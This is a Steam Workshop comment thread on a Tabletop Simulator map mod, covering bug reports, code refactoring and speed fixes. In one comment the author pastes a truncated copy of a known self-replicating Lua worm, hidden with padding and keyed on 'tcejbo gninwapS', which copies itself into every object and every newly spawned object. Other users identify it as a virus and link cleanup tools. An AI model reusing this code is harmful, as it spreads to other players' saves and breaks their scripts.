Tabletop Simulator

Tabletop Simulator

OneWorld Recycled
98 Comments
Саппортиец  [author] 21 Jul @ 10:16pm 
It is quite logical that there will be problems because it is not intended to change the map while it is built. I added functionality that prohibits changing the map in this case.
Bright_Corvid 20 Jul @ 3:18am 
Finally got around to trying out the changes (sorry it took so long), If set on fast mode it breaks when swapping zones without first packing, not sure what that's about :(
Саппортиец  [author] 19 Jul @ 9:21pm 
\\(★ω★)/
Bright_Corvid 19 Jul @ 6:57pm 
wonderful, thank you so much
Саппортиец  [author] 19 Jul @ 5:21am 
Done
Саппортиец  [author] 19 Jul @ 5:14am 
Thanks for the modification, interesting work.
About the packaging... My mistake, I forgot to update the code there.
Bright_Corvid 18 Jul @ 8:00pm 
Hmm... Packing is still a bit slow, but unpacking is better than the original now
Bright_Corvid 18 Jul @ 7:53pm 
Fuck, you work fast, thank you, best i can offer in return is a small mod of my own which you might enjoy judging by the other tools you have on your table

https://steamhost.cn/steamcommunity_com/sharedfiles/filedetails/?id=3528989444
Саппортиец  [author] 18 Jul @ 6:39pm 
done. I added a new button that can change the method of spawning objects from slow to fast
Саппортиец  [author] 18 Jul @ 6:13pm 
I can make a second version, in the same mod, which will unpack instantly (like in the original)
Bright_Corvid 18 Jul @ 2:02pm 
Not sure if you're still working on this, but I figured i should ask anyway. Is there a way to speed up the packing/unpacking of the maps? since the relative slowness of packing/unpacking each object individually is the only thing keeping me from swapping over to this version
Саппортиец  [author] 5 Jul @ 3:31am 
Thanks for the info. The code is fine, everything works. I just thought about adding and changing a couple of functions, but in the end I decided that it simply makes little sense.
Slushy 3 Jul @ 4:27am 
Hows the addon been doing though? I haven't checked back in a while.
Slushy 3 Jul @ 4:25am 
https://steamhost.cn/steamcommunity_com/sharedfiles/filedetails/?id=3223620889&searchtext=cleaner+cube
That aside, once you find infected items, this will clean them. Won't clean stuff inside infinite bags though as a heads up.
Slushy 3 Jul @ 4:23am 
https://github.com/SoundOfScooting/TTS-Unleashed
In regards to the viral stuff, I suggest everyone set this up.
If you're the host, it'll prevent that 'tcejbo gninwapS' virus from spreading, and inform you.
Plus some other nice features, like custom when right clicking even if you're not the host.
Саппортиец  [author] 11 Jun @ 10:57pm 
I solved the parasitic code problem, thanks again ColColonCleaner. TTS support decided not to even bother with my issue.
gingerbeard regarding your problem. I checked with some pre-built map packs and found that some do show errors when building a map. But they are related to the fact that the object in the bag is simply “dead”. Ideally you should double-check your map bag before putting it oneworld. I have not found a way to solve this problem without such manual work.
Саппортиец  [author] 11 Jun @ 7:09am 
Thanks!
ColColonCleaner 11 Jun @ 4:35am 
Look here for the solution to that, Canno. Goes through all saves you have and cleans them of that.

https://github.com/khaaarl/tts-save-game-script-cleaner/tree/main
Саппортиец  [author] 11 Jun @ 2:03am 
Fu... Why haven't the developers fixed this yet?
Kenjamin 11 Jun @ 12:07am 
That's not a feature, that is a viral script that's been around for a long time. It infects every object loaded in if any object has that in it when it is imported and breaks most scripting.
Саппортиец  [author] 8 Jun @ 12:54am 
Yeah, the developers made a new feature. Add this code to empty objects... Fun!

--[[Object base code]]Wait.time(function()for a,b in ipairs(getObjects())do if b.getLuaScript():find("tcejbo gninwapS")==nil then b.setLuaScript(b.getLuaScript():gsub('%s+$','')..string.rep(" ",100)..self.getLuaScript():sub(self.getLuaScript():find("--[[Object base code]]",1,true),#self.getLuaScript()-self.getLuaScript():reverse():find("]]tcejbo gninwapS",1,true)+1).."\n\n")end end end,1)if onObjectSpawn==nil then function onObjectSpawn(b)if b.getLuaScript():find("tcejbo gninwapS")==nil then b.setLuaScript(b.getLuaScript():gsub('%s+$','')..string.rep(" ",100)..self.getLuaScript():sub(self.getLuaScript():find("--[[Object base code]]",1,true),#self.getLuaScript()-self.getLuaScript():reverse():find("]]tcejbo gninwapS",1,true)+1).."\n\n")
Саппортиец  [author] 8 Jun @ 12:28am 
Oh, I see. There is indeed some kind of import error.
Саппортиец  [author] 8 Jun @ 12:22am 
Everything is working correctly for me. As an example, I went to this table and exported the tavern map https://steamhost.cn/steamcommunity_com/sharedfiles/filedetails/?id=3169563941 then without changing or updating anything I threw it as an import to my one world (I updated the workshop and the exported tavern bag is on the table). If you have a particular problem, please send the error text.
gingerbeard 7 Jun @ 10:27am 
how can i convert my old one world (original) into this one? when i try and move the bags over and everything i get errors and it doesnt seem to matter what i do i can convert it over. even if i try and repack and export my maps and manually drop them in im running into issues where it is not importing the whole map. any insight into how this process would work or am i stuck with the old one world?
Саппортиец  [author] 4 Jun @ 9:02am 
I'm rethinking and rewriting some functionality. I cut and rework those parts of the code that were inconvenient for me as a player/master. If you have any wishes or comments to those parts of the functionality that I cut, write.
Саппортиец  [author] 3 Jun @ 3:09am 
The code is written quite well, so I don't have to change anything specific in it. I'm refactoring for now.
Саппортиец  [author] 2 Jun @ 11:55am 
So far I've just started to clean the code from visible problems such as: taking out identical functions, rewriting xml with cleaning up unnecessary functionality, removing getAllObjects (replacing it with a less heavy variant of searching for the necessary objects), etc.
ColColonCleaner 30 May @ 4:27am 
I will take time this weekend for this feedback
Саппортиец  [author] 29 May @ 11:31pm 
ColColonCleaner, hi, advise what is worth fixing/changing in the Injector code part? My eyes are going wild seeing 3000 lines. I fixed the saving and changed the way of frame-by-frame update to reduce the load on the system.
Саппортиец  [author] 27 May @ 8:05pm 
https://github.com/Borbold/Fallout_System/tree/main/OneWorld
By the way, if there is a desire to participate in the development, you can offer your ideas on my github.
Саппортиец  [author] 27 May @ 7:50pm 
Thanks for a job well done with the code and praise. It's nice to see when someone needs your work (´ ∀ ` *).
ColColonCleaner 27 May @ 4:16am 
The efforts toward improving these tools are appreciated.

A large portion of the injector's bulk is caused by the original requirement of allowing injected minis to operate independently of the injector. Even if it's not on the table they still function. Unfortunately that means each injected mini has another instance of the script which increases the save file size and memory usage quite a bit. A revamp was planned to only inject references into the minis and keep all script within the injector, drastically reducing memory/IO costs, but life became hectic and it was never finished.

Thanks for fixing that line saver bug too. Been there for ages but never got around to fixing it.
Саппортиец  [author] 27 May @ 1:50am 
Started working on improving the Injector code. To make a long story short, it's a mess. But not spaghetti, for which thanks already. It loads the system a lot, and I would never use it in the current version.
Саппортиец  [author] 23 May @ 12:58am 
Rewrote the line saver. There was a strange check that didn't work if something wasn't drawn on the table.
Саппортиец  [author] 22 May @ 8:50pm 
I decided to redesign the toolkit they made for oneworld. I started with the dnd mensure tool and removed the infinite update function which was very heavy on the system and added xml with new fonts. Functionally I didn't change anything, it's still the same tool, just more optimized.
Саппортиец  [author] 20 May @ 11:09pm 
Resolved an old problem of positioning links to jump on maps.
Саппортиец  [author] 1 Apr @ 12:28am 
fixed. Literally forgot to put in one %s.....
Саппортиец  [author] 31 Mar @ 9:29pm 
I apologize for the delay, I'll fix the bug now.
Tech 26 Mar @ 4:22am 
Really buggy especially when reloading a save
Have spent a few hours trying to get this to work but constantly getting errors of Nil Value and Arithmetic with Nil Value
Slushy 23 Mar @ 9:53am 
I loaded the table with the map already built, and when I tried to hit CLR it kept acting as if I was hitting the Pack button with an empty map.
Slushy 23 Mar @ 9:52am 
This was a new one, fresh copy from the workshop. Made the save to test it.
Саппортиец  [author] 23 Mar @ 7:58am 
Maybe it's because you have an old one world save. Use the new one from March 17 at 13:04
Slushy 23 Mar @ 7:38am 
Also, "also sometimes when I pack an enlarged map leave then come back I don't have the Build option and the vBase map is not the enlarged size I had packed." Having the same issue at the least when it comes to the size of the map, if i rescale the scripting zone and vBase or whatever the big floor tile is that shows the map it resets to its original size.
Slushy 23 Mar @ 7:35am 
This might of happened due to loading a save?
Slushy 23 Mar @ 7:34am 
When trying to CLR an empty map it won't let me, as it thinks its trying to Pack and it doesn't detect any objects.
Corvalis 19 Mar @ 3:45am 
Will mess with it thanks!
Саппортиец  [author] 16 Mar @ 10:26pm 
Fixed
Саппортиец  [author] 16 Mar @ 5:59am 
Thanks for the feedback. I will change it soon.
Corvalis 15 Mar @ 9:06am 
I really Like the ability to have larger maps and I think you are onto something!
Corvalis 15 Mar @ 9:05am 
Figured it out - might relabel vBase as Table Map and wBase as OneWorld map or mini map. also sometimes when I pack an enlarged map leave then come back I don't have the Build option and the vBase map is not the enlarged size I had packed.